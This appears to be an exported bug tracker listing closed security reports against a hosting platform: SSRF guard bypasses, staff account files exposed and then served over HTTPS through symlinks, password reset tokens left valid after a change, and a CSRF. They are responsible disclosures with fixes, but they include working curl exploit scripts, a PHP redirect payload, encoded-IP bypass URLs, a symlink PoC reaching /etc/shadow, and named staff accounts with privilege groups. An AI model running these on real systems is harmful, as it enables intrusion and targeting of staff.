|
462 | Closed | SSRF guard does not cover your own infrastructure, whic ... | Bores |
Task Description
Summary
The address guard added after FS#401 decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation 2a00:b6e0::/32, which the guard treats as ordinary public space and allows. From inside, www, admin, api and webmail.alwaysdata.com all resolve to 2a00:b6e0:1:84:1::1, which is overlord-core.paris1.alwaysdata.com, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from FS#461 , which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.
Vulnerable asset
Root cause
The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.
Attack path
Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.
First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran python3 -m http.server 8199 on my account, which binds to my tenant address fd00::7:89a5, serving a file containing a marker. Note that ip -6 addr does not list that address, only the node's 2a00:b6e0:1:50:1::1, so the bound address has to be read from ss -lnt. From my own shell the URL works:
$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0
Submitting that same URL as script_upstream_uri returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.
That the fetcher can actually route to that address is not something you have to take from me: it is in FS#460 , which you fixed and paid. That report records direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard alongside redirect → http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.
Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com's AAAA record returned the origin's response body, which was stored in the installation script field where I read it back:
script_upstream_uri = http://[2606:4700:10::6814:179a]/ 0.595333s
What landed in the installation script field was the origin's own error page: "400 Bad Request" as both the title and the heading, ending with a footer line reading "cloudflare". I have written its text out rather than pasting the markup, since raw tags do not survive this tracker's formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.
Third, your own hosts are in that allowed class. From my shell on ssh2:
$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com
From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.
Putting the three together: an address in 2a00:b6e0::/32 is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in 2a00:b6e0::/32.
Impact
Any HTTP service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the URL, with no notation trick as in FS#461 and no redirect as in FS#460 . The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.
This matters more than a single bypass because the guard is currently the whole protection on this feature. The FS#460 fix removed redirect following, so there is no second control behind it.
Your own tracker sets the context for what class of host is in that permitted range: FS#415 describes overlord-core as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.
I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.
Suggested fix
Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public HTTP outside your own networks. At a minimum, add your own allocations, including 2a00:b6e0::/32 and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.
It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.
Testing notes
All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The DNS observations come from ordinary getent lookups on my own shell.
|
|
461 | Closed | Incomplete fix for FS#401: SSRF guard does not normalis ... | Bores |
Task Description
Summary
The address guard on the installation script source URI refuses a private destination only when the address is written as a dotted quad. Written as a decimal, octal or hexadecimal integer, the same address passes the guard and the backend opens the connection. The response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive FS#401 was fixed for. This is a different path from FS#460 : no redirect is involved, the encoded address is the URL submitted in the form.
Vulnerable asset
Root cause
The guard classifies the host portion of the submitted URL by its textual form. The HTTP client that later opens the connection parses the same host with inet_aton semantics, which accept decimal, octal, hexadecimal and mixed notations for an IPv4 address. The two therefore disagree about which host the URL points to: the guard sees a string it does not recognise as private, and the client resolves it to exactly the private address the guard was meant to block.
The gap is specific to IPv4 literals. I checked the neighbouring cases and they are handled correctly, which is why I am confident this is a parsing gap rather than a missing range: loopback, all three RFC1918 blocks and link-local are refused as dotted quads, and IPv6 is refused in compressed and fully expanded form alike, so the IPv6 path is normalised before the check while the IPv4 path is not. I did not have access to the source, so the mechanism is inferred from behaviour.
Attack path
I used 10.255.255.1:8080 as the destination for the bypass. It is unroutable, so a refusal by the guard returns in well under a second while a real connection attempt shows up as a TCP timeout of roughly 20 seconds. Set script_upstream_uri on a script object you own, then POST to update_script/ and measure.
The guard works for every canonical form:
http://127.0.0.1/ 0.583544s
http://192.168.0.1:8080/ 0.632095s
http://172.16.0.1:8080/ 0.581063s
http://169.254.169.254/ 0.593031s
http://[::1]/ 0.634583s
http://[fd00:dead:beef:0:0:0:0:1]:8080/ 0.676233s
http://10.255.255.1:8080/ 0.586345s
The same address in any other IPv4 notation is not refused, and the request blocks for the full TCP timeout:
decimal http://184549121:8080/ 20.532416s
octal dotted http://012.0377.0377.01:8080/ 20.556865s
hex dotted http://0xa.0xff.0xff.0x1:8080/ 20.006989s
hex flat http://0x0AFFFF01:8080/ 20.100729s
I measured the decimal case six times across separate runs and it blocked every time, between 20.05s and 20.65s, against 0.586s to 0.647s for the dotted quad in the same runs. Note the port: the connection attempts are to 8080, so the reachable set is not limited to 80 and 443.
To rule out the alternative explanation that these strings are treated as hostnames whose DNS lookup simply times out, I pointed the same notations at my own public address 185.31.41.11. Every one was parsed as IPv4 and actually fetched, and your front end's response body was stored in the installation script field:
http://bores.alwaysdata.net/gc.sh 0.620634s stored: echo GUARD-CONTROL-OK
http://185.31.41.11/gc.sh 0.585734s stored: Request ID: 6cd9bd2c-b1a04128
http://3105827083/gc.sh 0.590465s stored: Request ID: d6a47ad3-269af3c0
http://0271.037.051.013/gc.sh 0.596060s stored: Request ID: b25f13a3-7f8cfd88
http://0xb9.0x1f.0x29.0xb/gc.sh 0.589441s stored: Request ID: 61ec6cce-f060c454
http://0xB91F290B/gc.sh 0.658276s stored: Request ID: 04bc1339-ad0006fb
The first line is a hostname control on a file I placed on my own site, and it came back with the file contents verbatim, which shows the read-back primitive is intact. The rest are the same file requested through the raw address in each notation; they land on your front end rather than my vhost, so the stored body is your "Site not found" page, each with its own request id.
Only http and https are accepted. The form rejects file://, gopher://, dict:// and ftp:// before any fetch, so there is no protocol smuggling here.
Impact
An authenticated customer can make an alwaysdata backend host open TCP connections to any IPv4 address and port the guard is meant to forbid, and read the full response body back out of the installation script field.
The obvious objection is the one you used to close FS#343 , that customers have unrestricted SSH anyway and the job runner executes in the same context and permissions as the SSH server. I tested that objection rather than assuming it does not apply, by running the same destinations from my own shell account on ssh2 and through the fetcher:
destination from my shell (ssh2) through the fetcher
10.0.0.1:8080 Errno 113 No route to host, 0.00s 20.384915s
192.168.0.1:8080 timed out, 8.00s 20.082109s
172.16.0.1:8080 timed out, 8.01s 20.093270s
The shell side of that table is reproducible in one command on any hosting account:
python3 -c "import socket,time
s=socket.socket(); s.settimeout(8); t=time.time()
try: s.connect(('10.0.0.1',8080)); print('open')
except Exception as e: print(type(e).__name__, e, round(time.time()-t,2))"
The first row is the important one. My shell has no route to 10.0.0.0/8 at all, so the kernel rejects it immediately, while the fetcher accepts the same destination for routing and sits there until the connection times out. Whatever the fetcher is attached to, it is not the network position my SSH session has. So this is not the situation you assessed in FS#343 : the bypass grants reach that the customer does not already have.
The states are also distinguishable from the outside, which makes this usable for mapping rather than only for blind requests. A destination that answers HTTP returns its body into a field I read, measured against my own host. A refused port returns in about 0.6 seconds, measured against port 9 on my own address, which my shell confirms is refused. A filtered or unrouted destination takes about 20 seconds.
On what is actually behind the guard, I stopped deliberately. Following your SSRF guidance I made exactly one request to an internal destination, http://2130706433/, the fetcher's own loopback on port 80. It was refused in 0.605334 seconds and nothing was returned or stored. I did not try another port or address, so I cannot tell you what is reachable there. I am happy to demonstrate that on request or in a development environment.
Suggested fix
Resolve the host to an address before the policy decision and apply the policy to the resolved address rather than to the submitted string. Parsing the host with ipaddress.ip_address() after normalising through socket.getaddrinfo() covers the decimal, octal, hexadecimal and mixed notations in one step, because the check then runs on the same value the HTTP client will connect to. Rejecting host forms that are not a plain dotted quad, a bracketed IPv6 literal, or a DNS name would close the gap as well, and is easier to test.
Either way it is worth adding regression cases for the four notations above. The IPv6 path already behaves correctly, so the fix only needs to bring IPv4 up to the same standard.
Testing notes
All testing was done against a script object on my own account, which has been deleted. Manual requests only, no automated scanner, a handful of requests spaced by seconds. The destination used for the bypass proof is unroutable RFC1918 space and the destination used for the parsing proof is my own public address. The single internal request is the one described under Impact.
|
|
460 | Closed | Incomplete fix for FS#401: SSRF address guard is not re ... | Bores |
Task Description
Summary
The installation script source URI feature still performs server-side fetches of user-supplied URLs. The address guard added after FS#401 works correctly on the URL submitted in the form: it resolves hostnames and refuses private destinations before opening any connection. It is not re-applied when the fetcher follows an HTTP redirect. A URL that passes the check and then answers with a 302 sends the backend to any destination the attacker chooses, including RFC1918 space and the fetching host's own loopback. The full response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive FS#401 was fixed for.
Vulnerable asset
Root cause
The guard is bound to the submitted input rather than to the connections the HTTP client actually makes. It runs once, resolves the hostname, and rejects private addresses, which is why a direct submission fails in well under a second with no connection attempt. The client is then handed the URL with its default redirect behaviour, and the Location value of a 301 or 302 never passes back through the same check before the next connection is opened.
Steps to reproduce
Everything below uses curl and a shell. Account used: boresbbt2, a free-tier account I own. Redirecting host: bores.alwaysdata.net, a site I own. No alwaysdata internal service was contacted.
Step 1. On a host you control, publish a page that redirects to an unroutable private address. 10.255.255.1 is used because a real connection attempt to it can only end in a timeout, which makes the result unambiguous.
<?php header("Location: http://10.255.255.1:8080/", true, 302); exit;
Step 2. Log in to admin.alwaysdata.com and save the session cookies.
JAR=/tmp/ad.txt
CSRF=$(curl -s -c $JAR https://admin.alwaysdata.com/login/ \
| grep -oE 'name="csrfmiddlewaretoken" value="[^"]+' | head -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST https://admin.alwaysdata.com/login/ \
-H "Referer: https://admin.alwaysdata.com/login/" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "login=YOUR_EMAIL" \
--data-urlencode "password=YOUR_PASSWORD" -o /dev/null
Step 3. Create an application script. The installation script must start with a shebang followed by commented YAML, otherwise the form rejects it.
BODY=$'#!/bin/bash\n# site:\n# type: custom\necho installed'
ADD=https://admin.alwaysdata.com/site/application/script/add/
CSRF=$(curl -s -b $JAR -c $JAR $ADD \
| grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST $ADD -H "Referer: $ADD" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
--data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
--data-urlencode "script=$BODY" -o /dev/null
Note the id of the created script from https://admin.alwaysdata.com/site/application/script/ and use it as ID below.
Step 4. Set script_upstream_uri to the private address directly, trigger the fetch, and time it. The guard refuses it and the call returns immediately.
BASE=https://admin.alwaysdata.com/site/application/script/$ID/
csrf() { curl -s -b $JAR -c $JAR $BASE \
| grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//'; }
curl -s -b $JAR -c $JAR -X POST $BASE -H "Referer: $BASE" \
--data-urlencode "csrfmiddlewaretoken=$(csrf)" \
--data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
--data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
--data-urlencode "script=$BODY" \
--data-urlencode "script_upstream_uri=http://10.255.255.1:8080/" -o /dev/null
curl -s -b $JAR -c $JAR -X POST ${BASE}update_script/ -H "Referer: $BASE" \
--data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'total=%{time_total}s\n'
Step 5. Repeat exactly the same two calls, changing only script_upstream_uri to the redirector from step 1. The guard passes it, the fetcher follows the 302, and the connection to 10.255.255.1 is really attempted, so the call now blocks until the TCP timeout.
--data-urlencode "script_upstream_uri=https://YOUR-HOST/r_priv.php"
Step 6. Compare the two timings. Five independent runs on 2026-08-25, the last of which was a clean run following these steps from a fresh login and a new script object:
direct http://10.255.255.1:8080/ 0.635s 0.591s 0.591s 0.584s 0.589s
redirect -> http://10.255.255.1:8080/ 20.340s 20.447s 20.397s 20.108s 20.631s
The direct case is refused by the guard with no connection attempt. The redirect case blocks until the TCP timeout, which is only possible if the connection to 10.255.255.1 was really opened.
Additional observations
The same split holds for other private ranges, and the loopback of the fetching host answers, an immediate RST rather than a timeout:
direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard
redirect -> http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out
redirect -> http://127.0.0.1:1/ 0.668s immediate RST, loopback reached and answered
Redirect chains are followed at depth, so the stored value has no relation to where the request ends up. A three hop chain of ordinary looking pages on my own site, the last of which points at 10.255.255.1:8080, still reaches the private address and blocks for 20.035s. In the two hop case the content of the final target was fetched and stored while the saved script_upstream_uri was only https://bores.alwaysdata.net/hok.php. Anything that inspects the stored URI, whether that is triage, logging or an allowlist of trusted sources, therefore sees a harmless public URL while the fetch goes somewhere else entirely, and the attacker can retarget at any time without touching the record.
The guard does handle DNS: http://10.255.255.1.nip.io:8080/, a public name that resolves to 10.255.255.1, is refused in 1.485s, the extra time being the lookup before the rejection. So the weakness is specifically the redirect hop, not name resolution.
My own web access log shows the fetch is server-side and that the backend follows the redirect itself:
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /redir.php HTTP/2.0" 302 0 "-" "python-requests/2.32.5"
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /bbt.sh HTTP/2.0" 200 72 "-" "python-requests/2.32.5"
Both lines carry the same timestamp: one operation, two hops.
The response body is returned to the attacker unmodified and unbounded. Pointing the redirect at a page serving plain HTML rather than a script stored that HTML verbatim in the installation script textarea, and a redirect to a 1,040,057 byte file stored 1,040,058 bytes with the end marker intact, so there is no content-type check and no size limit on what comes back.
Expected behaviour
A destination that is refused when submitted directly should also be refused when it is reached through a redirect. The check should follow the connection, not the input string.
Impact
An authenticated free-tier user can make an alwaysdata backend issue arbitrary HTTP requests into private address space and the fetching host's own loopback, and read the entire response back out of the installation script field, at any size. That is the capability FS#401 was rated Critical and paid for, reachable again through a single redirect that costs the attacker one line of PHP on any host they control.
Because chains are followed and the stored URI stays innocuous, the record left behind on the account shows a normal public URL, so this is not visible by looking at what users saved in the field.
Reachability sets the ceiling on what I proved. I stopped at showing that connections to private destinations are attempted, that the loopback of the fetching host answers, and that arbitrary response bodies come back in full. I did not enumerate internal services or retrieve any internal content, because the programme rules say not to go playing around on internal networks and to report a potential SSRF as soon as it is believed to exist.
Two related things do hold and are worth recording: the guard resolves hostnames, so DNS rebinding through a public name is not available, and file:// is refused both when submitted directly and when reached through a redirect, so this is not a local file read.
Suggested fix
Apply the address check to every connection the client makes, not only to the submitted string. With requests that means either setting allow_redirects=False on this fetch and rejecting any 3xx outright, or walking the redirect chain manually and running the existing guard against each Location before it is followed. Validating the resolved address at connect time, for example through a custom transport adapter, covers both the redirect hop and any future path that reaches the same client. A regression test that submits a URL redirecting to 127.0.0.1 and to an RFC1918 address and asserts the fetch is refused would catch this class directly.
Classification
CWE-918 Server-Side Request Forgery, reached through CWE-441 Unintended Proxy or Intermediary. Incomplete fix for FS#401 .
Testing scope
Testing used only accounts I own, bores and boresbbt2, with my own site as the redirecting host. No automated scanner was used and the request rate was low and manual. No internal service was enumerated and no third-party data was accessed. All test artefacts were removed afterwards: the application script objects were deleted and the redirect and marker files were removed from the site root.
|
|
440 | Closed | Incomplete Fix for FS#426 - Staff Files Still Publicly ... | Bores |
Task Description
The fix for FS#426 removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted. /alwaysdata/etc/passwd and /alwaysdata/etc/group remain mode 644 and can be read directly via `cat` from any SSH session.
Worse: because Apache uses FollowSymLinks without SymLinksIfOwnerMatch, an SSH user can symlink these files into ~/www/ and serve them over HTTPS to anyone on the internet without authentication. This escalates the exposure from "SSH-only" ( FS#426 ) to "public internet."
Vulnerable asset: ssh://ssh-[account].alwaysdata.net https://[account].alwaysdata.net/ (Apache with FollowSymLinks) Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)
Root cause: 1. Files not restricted after FS#426 fix (still -rw-r–r–) 2. Apache follows symlinks pointing outside DocumentRoot regardless of target ownership
Steps to reproduce:
1. SSH in:
ssh bores@ssh-bores.alwaysdata.net
2. Confirm FS#426 fix is in place (NSS no longer exposes staff):
$ getent passwd | grep "/alwaysdata/home/"
(no output)
3. File still readable directly:
$ cat /alwaysdata/etc/passwd
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ ls -l /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 440 Dec 9 2024 /alwaysdata/etc/passwd
4. Symlink into web root and serve publicly:
$ ln -sf /alwaysdata/etc/passwd ~/www/staff
$ ln -sf /alwaysdata/etc/group ~/www/roles
5. Fetch from anywhere (no auth, no SSH needed):
$ curl https://bores.alwaysdata.net/staff
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ curl https://bores.alwaysdata.net/roles
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce
6. Negative control (root-only file blocked as expected):
$ ln -sf /etc/shadow ~/www/shadow
$ curl https://bores.alwaysdata.net/shadow
403 Forbidden
7. Cleanup:
$ rm ~/www/staff ~/www/roles ~/www/shadow
PoC script (run from any machine with sshpass + curl):
#!/bin/bash
# Usage: bash poc.sh <account> <password>
ACCOUNT="$1"; PASSWORD="$2"
SSH="ssh-${ACCOUNT}.alwaysdata.net"
WEB="https://${ACCOUNT}.alwaysdata.net"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
'ln -sf /alwaysdata/etc/passwd ~/www/poc_staff && ln -sf /etc/shadow ~/www/poc_shadow'
echo "Staff file:" && curl -s "${WEB}/poc_staff"
echo "Shadow (should 403):" && curl -s -o /dev/null -w "%{http_code}" "${WEB}/poc_shadow"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
'rm -f ~/www/poc_staff ~/www/poc_shadow'
Impact: - Same data as FS#426 , but now served to the public internet (no SSH required to view) - Any world-readable system file can be exposed this way (/etc/passwd, /etc/mysql/mariadb.cnf, etc.) - An attacker only needs to share the URL; the recipient needs no account or credentials to see staff data
Tested on my own account only. Symlinks removed after each test.
Suggested fix: 1. chmod 640 /alwaysdata/etc/passwd /alwaysdata/etc/group (root:alwaysdata_team) 2. Switch customer vhosts to Options SymLinksIfOwnerMatch Either one blocks this; both together for defense in depth.
|
|
433 | Closed | Password Reset Tokens Not Invalidated After Password Ch ... | Bores |
Task Description
The admin panel password reset at admin.alwaysdata.com issues tokens with a 3-day validity window. When a user triggers multiple resets, using one token to change the password does not invalidate the others. An older sibling token remains fully functional and can overwrite the new password at any point within its 3-day lifetime, giving an attacker persistent account takeover that the victim cannot revoke.
Vulnerable endpoint: https://admin.alwaysdata.com/user/reset_password/ Token generation: https://admin.alwaysdata.com/password/lost/
ROOT CAUSE
Token validation does not include the current password hash. Django's default PasswordResetTokenGenerator binds tokens to the password hash, so any credential change voids all outstanding tokens. The custom implementation here validates only user_id, timestamp, and expiration. A consumed token correctly shows "invalid" on revisit (per-token single-use works), but unconsumed sibling tokens remain valid after a password change through a different token.
REPRODUCTION
Tested 2026-08-07, Chrome on Windows 11, production admin.alwaysdata.com. One test account owned by me.
1. Triggered two password resets for the same account within 6 seconds. Received Token A (timestamp 1786058809) and Token B (timestamp 1786058815).
2. Opened Token B. Reset form displayed. Set password to "TokenBProof_2026!" and submitted. Server returned 302 to /login/ (password changed).
[Screenshot 1: Token B form with password visible]
[Screenshot 2: redirect to /login/]
3. Opened Token A (issued before the password change). Reset form still displayed. Set password to "TokenAProof_ATO!" and submitted. Server returned 302 to /login/.
[Screenshot 3: Token A form still active after password was already changed]
[Screenshot 4: redirect to /login/]
4. On the login page, entered email + "TokenAProof_ATO!" and submitted. Server showed 2FA prompt ("You have enabled two-factor authentication, so please enter your security code"), confirming the stale token's password is now the active credential.
[Screenshot 5: login form with credentials]
[Screenshot 6: 2FA prompt]
Expected: Token A should show "invalid link" after the password was changed via Token B. Actual: Token A remains functional and overwrites the new password.
IMPACT
An attacker who gains temporary access to a victim's email (phishing, shared workstation, corporate mail breach) can save one reset link. Even if the victim notices and resets their own password, the attacker's saved link remains valid for up to 3 days. Using it overwrites whatever password the victim set, completing account takeover.
On alwaysdata, this exposes: web hosting management, SSH access, databases, mailboxes, domain/DNS configuration, API tokens, and billing.
All testing was performed against my own accounts only. A standalone PoC script (poc.py) is attached.
SUGGESTED FIX
Include the password hash in token validation by switching to Django's built-in PasswordResetTokenGenerator. Alternatively, store a per-user token nonce and increment it on every password change, rejecting tokens with stale nonce values. Reducing the token lifetime from 3 days to 1 hour would also limit the exploitation window.
|
|
429 | Closed | Cross-Site Request Forgery (CSRF) Allows Unauthorized L ... | Bores |
Task Description
Description
The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.
By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.
This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.
Steps to Reproduce Log in with an attacker account. Navigate to Services and create a new service. Open a separate browser or private window and log in with a victim account. Create a service in the victim account. Return to the attacker account. Trigger the Logs Refresh functionality for the attacker's service. Capture the request using Burp Suite. Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC. Save the generated HTML file. Modify the PoC by replacing the attacker's service_id with the victim's service_id. Open the modified HTML file in the victim's browser while the victim is authenticated. Click Submit. Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request. Expected Behavior
The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.
Actual Behavior The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.
Security Impact An attacker can exploit this vulnerability to:
Force authenticated users to perform Logs Refresh operations without their knowledge or consent. Repeatedly trigger Logs Refresh requests on behalf of victims. Consume the victim's available Logs Refresh quota or usage limit. Cause unnecessary resource consumption on the platform. Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.
Remediation Implement robust CSRF protection for all state-changing endpoints. Require a unique, server-generated anti-CSRF token for every sensitive request. Validate the Origin and/or Referer headers where appropriate. Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible. Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.
|
|
426 | Closed | Internal staff account and privilege hierarchy disclosu ... | Bores |
Task Description
An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.
Vulnerable asset: ssh://ssh-[account].alwaysdata.net Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)
Root cause: The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.
Steps to reproduce:
1. Create a free hosting account on alwaysdata.com 2. SSH in:
ssh [account]@ssh-[account].alwaysdata.net
3. Enumerate staff accounts:
$ getent passwd | grep "/alwaysdata/home/"
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
All 7 accounts have GID=0 (fourth field = root group).
4. Enumerate internal role hierarchy:
$ getent group | grep "alwaysdata_"
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce
5. Confirm files are world-readable:
$ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
-rw-r--r-- 1 root root 440 Dec 9 2024 /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 187 May 21 2025 /alwaysdata/etc/group
6. Verify staff accounts are NOT public subdomains:
$ host cbay.alwaysdata.net
Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
$ host hdegorce.alwaysdata.net
Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)
PoC script (run via SSH on any alwaysdata account):
#!/bin/bash
echo "[*] Staff accounts (GID=0):"
getent passwd | grep "/alwaysdata/home/"
echo ""
echo "[*] Internal groups:"
getent group | grep "alwaysdata_"
echo ""
echo "[*] Config file permissions:"
ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
echo ""
echo "[*] NSS config:"
grep "^passwd:" /etc/nsswitch.conf
echo ""
echo "[*] Subdomain check:"
for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done
Scope clarification: This is NOT "account names accessible in many ways." Staff accounts differ from customers: - Separate namespace: /alwaysdata/home/ (not /home/) - All have GID=0 (root group), customers do not - Do not resolve as .alwaysdata.net subdomains (NXDOMAIN) - Not listed on any public alwaysdata page The sensitive data is the privilege level and organizational hierarchy, not names alone.
Impact: - Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators - Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets - Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model
Qualifying category: "Exposure of Sensitive members information"
Suggested fix: 1. Filter staff entries from NSS responses for non-privileged users 2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team 3. Consider a separate NSS source for staff, not queried in customer sessions
|